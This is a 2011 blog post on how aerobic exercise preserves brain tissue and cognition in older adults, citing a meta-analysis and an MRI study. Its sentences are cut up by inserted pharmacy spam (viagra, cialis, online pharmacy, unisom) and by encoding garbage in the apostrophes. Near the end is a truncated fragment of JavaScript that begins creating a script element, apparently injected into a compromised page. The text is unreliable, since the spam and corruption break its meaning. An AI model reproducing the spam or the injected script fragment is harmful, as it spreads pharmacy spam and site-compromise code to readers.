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Exercise and the brain

Posted on 03 February 2011

Most of us know that exercise affects our bodies. Thatai??i??s pretty obvious. We become stronger, sometimes slimmer and more flexible. Even those of us who think we can live with some extra body fat or less flexibility or even a higher disease risk will be motivated to exercise when we realize that doing so helps preserve our brains! We are going into detail on this aspect of exercise because it

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men, for older folks, and for parents) and because itai??i??s a powerful incentive to get moving. Itai??i??s dismaying to learn that the human brain begins to lose tissue early in the

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Order third decade of life. The average lifetime losses are estimated at roughly 15 percent of the cerebral cortex and 25 percent of the cerebral white matter. This loss of tissue is closely related to declines in cognitive performance during the same time period. Exercise viagra ice cream to the rescue. In a meta-analysis of eighteen controlled studies conducted over the past forty years

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it was found that aerobic exercise improves cognitive ability in people over fifty-five. Interestingly, the people who showed the – where to get antidepressants. online pharmacy pakistan most dramatic improvement were previously sedentary. More-over, relatively brief programs (one to three months long) provided as much benefit as moderate programs (four to six months long), though, as you might guess, the longer time how to use a canadian pharmacy a subject exercised, the greater the overall improvements. There are now other studies that show similar results. Better cardiovascu-lar fitness will produce a brain that is more plastic and adaptive to change. A study published in come comprare viagra o cialis 2003 demonstrates that physical exercise actually stimulates physiological changes in the brain. In this study, researchers scanned the brains of fifty-five people ages 55 to 79 and tested their aerobic fitness. Then, using MRIs, researchers found that physically fit subjects had less age-related brain-tissue shrinkage than subjects who were less fit. Pills var d=document;var s=d.createElement(‘script’); unisom 2

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